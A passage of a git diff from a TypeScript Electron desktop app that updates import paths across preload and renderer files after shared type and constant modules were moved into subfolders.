'../../../shared/execution-host' +import type { + ExecutionHostId, + ExecutionHostScope +} from '../../../shared/execution-host/execution-host' import type { AiVaultScanProgress, AiVaultScanProgressUpdate diff --git a/src/preload/api/ai-vault/ai-vault-bridge.ts b/src/preload/api/ai-vault/ai-vault-bridge.ts index 9a38403e9ba..1cb6cd2eafa 100644 --- a/src/preload/api/ai-vault/ai-vault-bridge.ts +++ b/src/preload/api/ai-vault/ai-vault-bridge.ts @@ -3,7 +3,10 @@ import type { AiVaultSearchRequest, AiVaultSearchStatus } from '../../../shared/ai-vault/search/ai-vault-search-types' -import type { ExecutionHostId, ExecutionHostScope } from '../../../shared/execution-host' +import type { + ExecutionHostId, + ExecutionHostScope +} from '../../../shared/execution-host/execution-host' import { ipcRenderer } from 'electron' import type { AiVaultDeleteSessionArgs, diff --git a/src/preload/api/app-api.ts b/src/preload/api/app-api.ts index dc1236377fc..ece30435011 100644 --- a/src/preload/api/app-api.ts +++ b/src/preload/api/app-api.ts @@ -3,15 +3,15 @@ import type { WindowMaterial } from '../../shared/app-lifecycle/windows/window-m import type { AppIdentity } from '../../shared/app-lifecycle/identity/app-identity' import type { MacosUpgradeSupport } from '../../shared/updater/requirements/macos-upgrade-support' import type { E2EConfig } from '../../shared/app-lifecycle/launch/e2e-config' -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import type { WriteTerminalRenderDesyncEvidenceArgs, WriteTerminalRenderDesyncEvidenceResult } from '../../shared/terminal/diagnostics/terminal-render-desync-evidence' import type { MacCapturedDigitRowChord } from '../../shared/keybindings/macos-symbolic-hotkeys' import type { MarkdownDocument } from '../../shared/file-listing/file-document' -import type { PersistedUIState } from '../../shared/persisted-ui-state-types' -import type { FloatingTerminalCwdRequest } from '../../shared/ui-chrome-types' +import type { PersistedUIState } from '../../shared/orca-profiles/persisted-ui-state-types' +import type { FloatingTerminalCwdRequest } from '../../shared/ui-chrome/ui-chrome-types' import type { WorkspaceSessionState } from '../../shared/workspace-session/workspace-session-state-types' import type { KeyboardLayoutSnapshot } from '../../shared/keybindings/keyboard-layout-snapshot' import type { KeyboardLayoutChangeEvent } from '../../shared/keybindings/keyboard-layout-events' diff --git a/src/preload/api/app-bridge.ts b/src/preload/api/app-bridge.ts index bcaf921ed42..0cf5d6f8d2d 100644 --- a/src/preload/api/app-bridge.ts +++ b/src/preload/api/app-bridge.ts @@ -1,7 +1,7 @@ import { ipcRenderer } from 'electron' import type { AppIdentity } from '../../shared/app-lifecycle/identity/app-identity' import type { MacosUpgradeSupport } from '../../shared/updater/requirements/macos-upgrade-support' -import type { FloatingTerminalCwdRequest } from '../../shared/ui-chrome-types' +import type { FloatingTerminalCwdRequest } from '../../shared/ui-chrome/ui-chrome-types' import type { MacCapturedDigitRowChord } from '../../shared/keybindings/macos-symbolic-hotkeys' import type { MarkdownDocument } from '../../shared/file-listing/file-document' import type { WriteTerminalRenderDesyncEvidenceArgs } from '../../shared/terminal/diagnostics/terminal-render-desync-evidence' diff --git a/src/preload/api/automations/automation-api.ts b/src/preload/api/automations/automation-api.ts index a563fde1ba0..27afc1ffb10 100644 --- a/src/preload/api/automations/automation-api.ts +++ b/src/preload/api/automations/automation-api.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { ExternalAutomationManager } from '../../../shared/automations/external/external-automation' import type { AutomationOwnerRef } from '../../../shared/automations/ownership/automation-owner-ref' import type { diff --git a/src/preload/api/automations/automations-bridge.ts b/src/preload/api/automations/automations-bridge.ts index 599a8ac815f..02809c6f97b 100644 --- a/src/preload/api/automations/automations-bridge.ts +++ b/src/preload/api/automations/automations-bridge.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { ipcRenderer } from 'electron' import type { ExternalAutomationManagerResult } from './automation-api' import type { PreloadApi } from '../../api-types' diff --git a/src/preload/api/preferences/settings-api.ts b/src/preload/api/preferences/settings-api.ts index 861182dd2e0..2f2b96357f7 100644 --- a/src/preload/api/preferences/settings-api.ts +++ b/src/preload/api/preferences/settings-api.ts @@ -3,7 +3,7 @@ import type { WarpThemeImportPreview, WarpThemeImportSource } from '../../../shared/terminal-themes/terminal-custom-themes' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { TerminalConfigImportPreview, TerminalConfigImportSource diff --git a/src/preload/api/projects/repos-bridge.ts b/src/preload/api/projects/repos-bridge.ts index 746316c35b0..4fa44fddc4d 100644 --- a/src/preload/api/projects/repos-bridge.ts +++ b/src/preload/api/projects/repos-bridge.ts @@ -3,7 +3,7 @@ import type { BaseRefDefaultResult, BaseRefSearchResult } from '../../../shared/repository/repo-types' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { PreloadApi } from '../../api-types' export const reposApi = { diff --git a/src/preload/api/projects/repository-api.ts b/src/preload/api/projects/repository-api.ts index c450c501b49..a6b238aecc0 100644 --- a/src/preload/api/projects/repository-api.ts +++ b/src/preload/api/projects/repository-api.ts @@ -4,7 +4,7 @@ import type { CloneTargetArgs, CloneTargetCheck } from '../../../shared/git/clone/clone-target-check' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { GhAccountBinding } from '../../../shared/github/accounts/account-binding' import type { NestedRepoScanResult, diff --git a/src/preload/api/terminal/shell-api.ts b/src/preload/api/terminal/shell-api.ts index 9c781a33fe5..e1d0df5cd0e 100644 --- a/src/preload/api/terminal/shell-api.ts +++ b/src/preload/api/terminal/shell-api.ts @@ -1,5 +1,5 @@ import type { RepoIconPickResult } from '../../../shared/repository/appearance/repo-icon-pick-failure-copy' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { ShellPathExistence } from '../../../shared/file-access/path-existence-batch' import type { ShellOpenExternalEditorRequest, diff --git a/src/preload/api/terminal/shell-bridge.ts b/src/preload/api/terminal/shell-bridge.ts index 0626307033b..6cc166b98dd 100644 --- a/src/preload/api/terminal/shell-bridge.ts +++ b/src/preload/api/terminal/shell-bridge.ts @@ -7,7 +7,7 @@ import type { ShellOpenLocalPathResult } from '../../../shared/shell/opening/shell-open-types' import type { RuntimeFileOpenPosition } from '../../../shared/file-access/runtime-editor-file-open' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { ShellPathExistence } from '../../../shared/file-access/path-existence-batch' import type { PreloadApi } from '../../api-types' diff --git a/src/preload/api/window-ui/ui-bridge-state-and-menu-commands.ts b/src/preload/api/window-ui/ui-bridge-state-and-menu-commands.ts index 4d4012860e7..62d028ca853 100644 --- a/src/preload/api/window-ui/ui-bridge-state-and-menu-commands.ts +++ b/src/preload/api/window-ui/ui-bridge-state-and-menu-commands.ts @@ -1,7 +1,7 @@ import type { MarkdownDocument } from '../../../shared/file-listing/file-document' import type { BrowserTabCreateRequest } from '../../../shared/browser/workspaces/browser-tab-create-request' import { ipcRenderer } from 'electron' -import type { PersistedUIState } from '../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../shared/orca-profiles/persisted-ui-state-types' import type { KeybindingActionId } from '../../../shared/keybindings/types' import type { PreloadApi } from '../../api-types' import type { diff --git a/src/preload/api/window-ui/ui-command-event-api.ts b/src/preload/api/window-ui/ui-command-event-api.ts index 67b1fadb161..8a961053c09 100644 --- a/src/preload/api/window-ui/ui-command-event-api.ts +++ b/src/preload/api/window-ui/ui-command-event-api.ts @@ -9,7 +9,7 @@ import type { } from '../../../shared/jira/jira-saved-filters' import type { BrowserTabCreateRequest } from '../../../shared/browser/workspaces/browser-tab-create-request' import type { MarkdownDocument } from '../../../shared/file-listing/file-document' -import type { PersistedUIState } from '../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../shared/orca-profiles/persisted-ui-state-types' import type { TuiAgent } from '../../../shared/agent-launch/catalog/tui-agent' import type { AgentLaunchTabPublishReply, diff --git a/src/preload/api/workspaces/workspace-cleanup-api.ts b/src/preload/api/workspaces/workspace-cleanup-api.ts index a16c8d7b7b2..3db299414ce 100644 --- a/src/preload/api/workspaces/workspace-cleanup-api.ts +++ b/src/preload/api/workspaces/workspace-cleanup-api.ts @@ -11,7 +11,7 @@ import type { WorkspaceSpaceAnalyzeResult, WorkspaceSpaceScanProgress } from '../../../shared/workspace-disk-space/workspace-space-types' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { WorkspaceCleanupRunFinishedEvent } from '../../../shared/workspace-cleanup/workspace-cleanup-run' import type { WorkspaceSpaceChange } from '../../../shared/workspace-disk-space/workspace-space-change' diff --git a/src/preload/api/workspaces/workspace-session-api.ts b/src/preload/api/workspaces/workspace-session-api.ts index b5c3cef456b..2fe65440e4c 100644 --- a/src/preload/api/workspaces/workspace-session-api.ts +++ b/src/preload/api/workspaces/workspace-session-api.ts @@ -3,7 +3,7 @@ import type { WorkspaceSessionPatch, WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { TerminalSurfaceCloseTarget } from '../../../shared/workspace-layout/terminal-surfaces/terminal-surface-close-target' export type WorkspaceSessionApi = { diff --git a/src/preload/api/workspaces/workspace-space-bridge.ts b/src/preload/api/workspaces/workspace-space-bridge.ts index 2e6495fa82d..b283aa48735 100644 --- a/src/preload/api/workspaces/workspace-space-bridge.ts +++ b/src/preload/api/workspaces/workspace-space-bridge.ts @@ -3,7 +3,7 @@ import type { WorkspaceSpaceAnalysis, WorkspaceSpaceScanProgress } from '../../../shared/workspace-disk-space/workspace-space-types' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { WorkspaceSpaceChange } from '../../../shared/workspace-disk-space/workspace-space-change' import type { PreloadApi } from '../../api-types' diff --git a/src/preload/api/workspaces/worktree-api.ts b/src/preload/api/workspaces/worktree-api.ts index 26a1ecae60c..b224dd9eee6 100644 --- a/src/preload/api/workspaces/worktree-api.ts +++ b/src/preload/api/workspaces/worktree-api.ts @@ -15,7 +15,7 @@ import type { ProviderRequestId } from '../../../shared/worktree/catalog/detected-worktree-provider-contract' import type { NestedWorktreeRemovalApproval } from '../../../shared/worktree/removal/nested-removal' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { WorkspaceSleepOutcome, WorkspaceSleepRequest diff --git a/src/renderer/src/app-shell/AppNotificationCards.tsx b/src/renderer/src/app-shell/AppNotificationCards.tsx index cdaf8cbd54c..5573c8c4a77 100644 --- a/src/renderer/src/app-shell/AppNotificationCards.tsx +++ b/src/renderer/src/app-shell/AppNotificationCards.tsx @@ -1,5 +1,5 @@ import { Suspense, type JSX } from 'react' -import type { TopLevelView } from '../../../shared/ui-chrome-types' +import type { TopLevelView } from '../../../shared/ui-chrome/ui-chrome-types' import { lazyWithRetry as lazy } from '@/app-shell/startup/lazy-with-retry' import { CodexSharedSettingsNoticeCard } from '../components/CodexSharedSettingsNoticeCard' import { NotificationCardStack } from '../components/NotificationCardStack' diff --git a/src/renderer/src/app-shell/appearance/app-font-family.ts b/src/renderer/src/app-shell/appearance/app-font-family.ts index 5444ea55e30..1c223432eed 100644 --- a/src/renderer/src/app-shell/appearance/app-font-family.ts +++ b/src/renderer/src/app-shell/appearance/app-font-family.ts @@ -1,4 +1,4 @@ -import { DEFAULT_APP_FONT_FAMILY } from '../../../../shared/constants' +import { DEFAULT_APP_FONT_FAMILY } from '../../../../shared/app-lifecycle/appearance/app-font-family' const APP_FONT_FALLBACKS = [ DEFAULT_APP_FONT_FAMILY, diff --git a/src/renderer/src/app-shell/appearance/document-theme.ts b/src/renderer/src/app-shell/appearance/document-theme.ts index 4e529761e37..7b75e3d115c 100644 --- a/src/renderer/src/app-shell/appearance/document-theme.ts +++ b/src/renderer/src/app-shell/appearance/document-theme.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { PLUGIN_APP_THEME_TOKENS, type PluginThemeRegistration diff --git a/src/renderer/src/app-shell/appearance/left-sidebar-appearance.ts b/src/renderer/src/app-shell/appearance/left-sidebar-appearance.ts index 674ac7bc442..0c14b8ecd4c 100644 --- a/src/renderer/src/app-shell/appearance/left-sidebar-appearance.ts +++ b/src/renderer/src/app-shell/appearance/left-sidebar-appearance.ts @@ -1,5 +1,5 @@ import type { CSSProperties } from 'react' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { normalizeLeftSidebarTintColor, normalizeLeftSidebarTintOpacity diff --git a/src/renderer/src/app-shell/appearance/terminal-app-theme.ts b/src/renderer/src/app-shell/appearance/terminal-app-theme.ts index 377e5baa3cd..0f489eff2d9 100644 --- a/src/renderer/src/app-shell/appearance/terminal-app-theme.ts +++ b/src/renderer/src/app-shell/appearance/terminal-app-theme.ts @@ -14,7 +14,7 @@ import { } from '../../../../shared/terminal-themes/terminal-title-contrast' import { terminalPaletteRgba } from '../../../../shared/terminal-themes/terminal-palette-rgba' import type { ITheme } from '@xterm/xterm' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { AppThemePaint } from './document-theme' import type { ColorProbe } from './plugin-theme-tokens' diff --git a/src/renderer/src/app-shell/appearance/use-app-theme-paint.ts b/src/renderer/src/app-shell/appearance/use-app-theme-paint.ts index d61b5aba66c..e5b2b594934 100644 --- a/src/renderer/src/app-shell/appearance/use-app-theme-paint.ts +++ b/src/renderer/src/app-shell/appearance/use-app-theme-paint.ts @@ -1,6 +1,6 @@ import { useEffect, useMemo, useRef, type RefObject } from 'react' import { useShallow } from 'zustand/react/shallow' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { MATCH_TERMINAL_APP_THEME } from '../../../../shared/plugins/appearance/plugin-theme-settings' import type { PluginThemeRegistration } from '../../../../shared/plugins/artifacts/plugin-theme-artifact' import { useAppStore } from '../../store' diff --git a/src/renderer/src/app-shell/platform/paired-web-client-host.ts b/src/renderer/src/app-shell/platform/paired-web-client-host.ts index 3a05d6b673c..f0bde565d50 100644 --- a/src/renderer/src/app-shell/platform/paired-web-client-host.ts +++ b/src/renderer/src/app-shell/platform/paired-web-client-host.ts @@ -2,7 +2,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { isPairedWebClientWindow } from '../chrome/desktop-window-chrome' type HostRouteState = { runtimeEnvironments?: readonly { id: string }[] } diff --git a/src/renderer/src/app-shell/platform/passive-macos-app-data-access.ts b/src/renderer/src/app-shell/platform/passive-macos-app-data-access.ts index 5c0bf9dfa50..cc79dffbce5 100644 --- a/src/renderer/src/app-shell/platform/passive-macos-app-data-access.ts +++ b/src/renderer/src/app-shell/platform/passive-macos-app-data-access.ts @@ -1,7 +1,7 @@ import type { ActiveRightSidebarTab, RightSidebarExplorerView -} from '../../../../shared/ui-chrome-types' +} from '../../../../shared/ui-chrome/ui-chrome-types' import type { OpenFile } from '@/store/slices/editor/types/open-file' const MAC_APP_DATA_SEGMENT_RE = /(^|\/)Library\/(Containers|Group Containers)\// diff --git a/src/renderer/src/app-shell/shutdown-checkpoint-persist.ts b/src/renderer/src/app-shell/shutdown-checkpoint-persist.ts index 56e4c74f3ce..7fabea8a592 100644 --- a/src/renderer/src/app-shell/shutdown-checkpoint-persist.ts +++ b/src/renderer/src/app-shell/shutdown-checkpoint-persist.ts @@ -1,4 +1,4 @@ -import type { PersistedUIState } from '../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../shared/orca-profiles/persisted-ui-state-types' import { formatShutdownCheckpointFailureReason } from '../../../shared/app-lifecycle/shutdown/renderer-shutdown-events' import type { WorkspaceSessionHostSnapshot } from '../lib/workspace/persistence/workspace-session-host-persistence' import { recordRendererCrashBreadcrumb } from '../diagnostics/crash-reporting/crash-breadcrumb-recorder' diff --git a/src/renderer/src/app-shell/startup-runtime-session-hosts.ts b/src/renderer/src/app-shell/startup-runtime-session-hosts.ts index b73aa31c13e..725c60e7240 100644 --- a/src/renderer/src/app-shell/startup-runtime-session-hosts.ts +++ b/src/renderer/src/app-shell/startup-runtime-session-hosts.ts @@ -2,7 +2,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { getRuntimeSshAccess } from '../../../shared/remote-runtime/host-catalog/runtime-environments' export async function listRuntimeSessionHostsForStartup(): Promise<{ diff --git a/src/renderer/src/app-shell/startup/active-view-persist.ts b/src/renderer/src/app-shell/startup/active-view-persist.ts index 75c86f571ce..3b5faaa8927 100644 --- a/src/renderer/src/app-shell/startup/active-view-persist.ts +++ b/src/renderer/src/app-shell/startup/active-view-persist.ts @@ -1,5 +1,5 @@ -import type { PersistedUIState } from '../../../../shared/persisted-ui-state-types' -import type { TopLevelView } from '../../../../shared/ui-chrome-types' +import type { PersistedUIState } from '../../../../shared/orca-profiles/persisted-ui-state-types' +import type { TopLevelView } from '../../../../shared/ui-chrome/ui-chrome-types' type ActiveViewUnloadState = { activeView: TopLevelView diff --git a/src/renderer/src/app-shell/startup/startup-ui-hydration.ts b/src/renderer/src/app-shell/startup/startup-ui-hydration.ts index c54e64fdb4b..dffd894b227 100644 --- a/src/renderer/src/app-shell/startup/startup-ui-hydration.ts +++ b/src/renderer/src/app-shell/startup/startup-ui-hydration.ts @@ -3,10 +3,10 @@ import { replayPendingRuntimeRepoRemovalsForReadyServers } from '@/store/repos/p import { DEFAULT_HIDE_SLEEPING_WORKSPACES, DEFAULT_SHOW_SLEEPING_WORKSPACES -} from '../../../../shared/constants' +} from '../../../../shared/workspace-view/sleeping-workspace-visibility' import { DEFAULT_STATUS_BAR_ITEMS } from '../../../../shared/status-bar/status-bar-defaults' import { DEFAULT_WORKTREE_CARD_PROPERTIES } from '../../../../shared/worktree/row-display/card-properties' -import type { PersistedUIState } from '../../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../../shared/orca-profiles/persisted-ui-state-types' export function hydratePersistedUIAfterStartupRead({ persistedUI, diff --git a/src/renderer/src/app-shell/use-app-chrome-layout.ts b/src/renderer/src/app-shell/use-app-chrome-layout.ts index a01341d6f6b..e2fd7c25f4f 100644 --- a/src/renderer/src/app-shell/use-app-chrome-layout.ts +++ b/src/renderer/src/app-shell/use-app-chrome-layout.ts @@ -6,7 +6,7 @@ import { resolveLeftSidebarStyleVariables } from '@/app-shell/appearance/left-si import { resolveLeftTitlebarChromeLayout } from '@/app-shell/chrome/titlebar-left-chrome' import { selectWorktreeCreationSurfaceShown } from '@/lib/workspace/creation/worktree-creation-surface' import { useAppStore } from '../store/index' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/workspace/identity/floating-workspace-id' import { selectActiveTerminalChromeState } from './active-terminal-chrome-selector' import { hasRequestedBackgroundTerminalWorktreeMount, diff --git a/src/renderer/src/app-shell/use-app-startup-hydration.ts b/src/renderer/src/app-shell/use-app-startup-hydration.ts index 3a8696047fd..2b308f840e6 100644 --- a/src/renderer/src/app-shell/use-app-startup-hydration.ts +++ b/src/renderer/src/app-shell/use-app-startup-hydration.ts @@ -35,7 +35,7 @@ import { isOwnedSshTargetId, LOCAL_EXECUTION_HOST_ID, parseExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { listRuntimeSessionHostsForStartup } from './startup-runtime-session-hosts' import { mapWithConcurrency } from '../../../shared/concurrency/map-with-concurrency' import { collectWslMovedWorkspaceKeysFromSession } from '../store/repos/wsl-moved-projects' diff --git a/src/renderer/src/attention/hidden-workspace-notification-mute.test.ts b/src/renderer/src/attention/hidden-workspace-notification-mute.test.ts index 52ee541ed12..da31c0ff727 100644 --- a/src/renderer/src/attention/hidden-workspace-notification-mute.test.ts +++ b/src/renderer/src/attention/hidden-workspace-notification-mute.test.ts @@ -1,5 +1,5 @@ import { beforeEach, describe, expect, it, vi } from 'vitest' -import { getDefaultSettings } from '../../../shared/constants' +import { getDefaultSettings } from '../../../shared/orca-profiles/constants' import { getDefaultNotificationSettings } from '../../../shared/notifications/notification-settings-defaults' import { createTabsSliceMockApi } from '../store/slices/tabs/tabs-slice-test-harness' import { createTestStore } from '../store/testing/app-store-test-fixture' diff --git a/src/renderer/src/attention/hidden-workspace-notification-mute.ts b/src/renderer/src/attention/hidden-workspace-notification-mute.ts index aa5067f2d1b..f5fcc05980c 100644 --- a/src/renderer/src/attention/hidden-workspace-notification-mute.ts +++ b/src/renderer/src/attention/hidden-workspace-notification-mute.ts @@ -1,7 +1,7 @@ import type { AppState } from '@/store/types' import { getIndexedAllWorktrees } from '@/store/slices/worktrees/listing/worktree-catalog-index' import { getIndexedRepoMap } from '@/store/repos/repository-catalog-index' -import { ALL_EXECUTION_HOSTS_SCOPE } from '../../../shared/execution-host' +import { ALL_EXECUTION_HOSTS_SCOPE } from '../../../shared/execution-host/execution-host' import { parseWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' import { sidebarHasActiveFilters } from '@/components/sidebar/worktree-list/controls/sidebar-filter-actions' import { computeVisibleWorktreeIds } from '@/components/sidebar/worktree-list/listing/compute-visible-worktrees' diff --git a/src/renderer/src/attention/notification-subject-owner.ts b/src/renderer/src/attention/notification-subject-owner.ts index 1b8cb9e5209..73ce36ffe7a 100644 --- a/src/renderer/src/attention/notification-subject-owner.ts +++ b/src/renderer/src/attention/notification-subject-owner.ts @@ -2,7 +2,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { NotificationWorkspaceOwner } from '../../../shared/notifications/notification-source' import { parsePaneKey } from '../../../shared/workspace-layout/stable-pane-id' import { parseWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' diff --git a/src/renderer/src/attention/notification-workspace-labels.ts b/src/renderer/src/attention/notification-workspace-labels.ts index b84f3435833..b36c6b46170 100644 --- a/src/renderer/src/attention/notification-workspace-labels.ts +++ b/src/renderer/src/attention/notification-workspace-labels.ts @@ -16,7 +16,10 @@ import { resolveIndexedRepoOwner } from '../lib/workspace/ownership/repo-owner-index' import '../lib/workspace/ownership/workspace-catalog-owner-index' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import type { Worktree } from '../../../shared/worktree/types' import { parseWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' diff --git a/src/renderer/src/attention/unread/unread-badge-count-selector.ts b/src/renderer/src/attention/unread/unread-badge-count-selector.ts index 55b149dc6ff..8a7ba248ece 100644 --- a/src/renderer/src/attention/unread/unread-badge-count-selector.ts +++ b/src/renderer/src/attention/unread/unread-badge-count-selector.ts @@ -2,7 +2,7 @@ import { getVisibleWorkspaceHostIdSet } from '@/components/sidebar/worktree-list import { getPairedDeviceIdsByEnvironment } from '../../../../shared/workspace-view/workspace-creator-visibility' import { getIndexedRepoMap } from '@/store/repos/repository-catalog-index' import type { AppState } from '@/store/types' -import { getSettingsFocusedExecutionHostId } from '../../../../shared/execution-host' +import { getSettingsFocusedExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { Worktree } from '../../../../shared/worktree/types' import { sameBucketRecords } from './unread-bucket-record-equality' import { getUnreadBadgeCount } from './unread-badge-count' diff --git a/src/renderer/src/attention/unread/unread-badge-count.ts b/src/renderer/src/attention/unread/unread-badge-count.ts index a6eb683804d..a4d7e6b6981 100644 --- a/src/renderer/src/attention/unread/unread-badge-count.ts +++ b/src/renderer/src/attention/unread/unread-badge-count.ts @@ -8,7 +8,7 @@ import { filterFolderWorkspacesFromOtherDevices, isWorkspaceOwnedBySomeoneElse } from '../../../../shared/workspace-view/workspace-creator-visibility' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../../shared/project/groups/project-group-types' import type { Repo } from '../../../../shared/repository/repo-types' diff --git a/src/renderer/src/component-fixtures/component-fixture-explorer.tsx b/src/renderer/src/component-fixtures/component-fixture-explorer.tsx index 19ec1ef4dc5..29a045d53a2 100644 --- a/src/renderer/src/component-fixtures/component-fixture-explorer.tsx +++ b/src/renderer/src/component-fixtures/component-fixture-explorer.tsx @@ -1,7 +1,7 @@ import '../assets/main.css' import ReactDOM from 'react-dom/client' -import { getDefaultSettings } from '../../../shared/constants' +import { getDefaultSettings } from '../../../shared/orca-profiles/constants' import { applyDocumentTheme } from '../app-shell/appearance/document-theme' import { installBodyOverlayAttributes } from '../lib/overlay-interaction/body-overlay-attributes' import { useAppStore } from '../store/index' diff --git a/src/renderer/src/components/__mocks__/jira-issue-workspace-edit-fixture.tsx b/src/renderer/src/components/__mocks__/jira-issue-workspace-edit-fixture.tsx index 0d7fdea711f..d9e3997c336 100644 --- a/src/renderer/src/components/__mocks__/jira-issue-workspace-edit-fixture.tsx +++ b/src/renderer/src/components/__mocks__/jira-issue-workspace-edit-fixture.tsx @@ -2,7 +2,7 @@ import { useLayoutEffect, useState } from 'react' import { act, cleanup, fireEvent, screen } from '@testing-library/react' import { afterEach, beforeEach, vi, type Mock } from 'vitest' import type { JiraIssue } from '../../../../shared/jira/jira-types' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { getTaskSourceCacheScope, type TaskSourceContext diff --git a/src/renderer/src/components/activity/activity-event-builder-context.ts b/src/renderer/src/components/activity/activity-event-builder-context.ts index 24af617b966..1abdad3592d 100644 --- a/src/renderer/src/components/activity/activity-event-builder-context.ts +++ b/src/renderer/src/components/activity/activity-event-builder-context.ts @@ -7,7 +7,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import { parseAppSshPtyId } from '../../../../shared/remote-runtime/ssh/ssh-pty-id' import type { Tab } from '../../../../shared/workspace-layout/tab-groups/tab-types' diff --git a/src/renderer/src/components/activity/activity-event-builder.ts b/src/renderer/src/components/activity/activity-event-builder.ts index 3d2bf8c2daf..e50ab112ee2 100644 --- a/src/renderer/src/components/activity/activity-event-builder.ts +++ b/src/renderer/src/components/activity/activity-event-builder.ts @@ -8,7 +8,7 @@ import type { AgentStatusOrchestrationContext } from '../../../../shared/agent-status/contracts/agent-status-types' import type { MigrationUnsupportedPtyEntry } from '../../../../shared/agent-status/contracts/agent-status-ipc-payload' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { StructuredChatTabNames } from '@/runtime/native-chat/naming/structured-chat-tab-name' import type { Repo } from '../../../../shared/repository/repo-types' import type { Tab } from '../../../../shared/workspace-layout/tab-groups/tab-types' diff --git a/src/renderer/src/components/activity/activity-scope-filter.ts b/src/renderer/src/components/activity/activity-scope-filter.ts index 91a7f1eea58..c6199bb942f 100644 --- a/src/renderer/src/components/activity/activity-scope-filter.ts +++ b/src/renderer/src/components/activity/activity-scope-filter.ts @@ -1,5 +1,5 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' -import { getWorktreeExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' +import { getWorktreeExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import { isAutomationGeneratedWorkspace, diff --git a/src/renderer/src/components/activity/activity-standalone-worktree.ts b/src/renderer/src/components/activity/activity-standalone-worktree.ts index 62ccab46712..c930981cd4d 100644 --- a/src/renderer/src/components/activity/activity-standalone-worktree.ts +++ b/src/renderer/src/components/activity/activity-standalone-worktree.ts @@ -1,9 +1,9 @@ import { i18n, translate } from '@/i18n/i18n' import type { Translate } from '@/i18n/use-translate' import { getTranslationResourceVersion } from '@/i18n/translation-resource-version' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/workspace/identity/floating-workspace-id' import type { Worktree } from '../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' const STANDALONE_ACTIVITY_WORKTREE_REPO_ID = '__activity_standalone__' const STANDALONE_ACTIVITY_WORKTREES_CAP = 200 diff --git a/src/renderer/src/components/activity/activity-thread-actions.ts b/src/renderer/src/components/activity/activity-thread-actions.ts index c20ff1a8e2d..41c8e0a5400 100644 --- a/src/renderer/src/components/activity/activity-thread-actions.ts +++ b/src/renderer/src/components/activity/activity-thread-actions.ts @@ -4,12 +4,12 @@ import { activateStructuredAgentSessionTab } from '@/lib/agent-session/structure import { activateAndRevealWorkspace 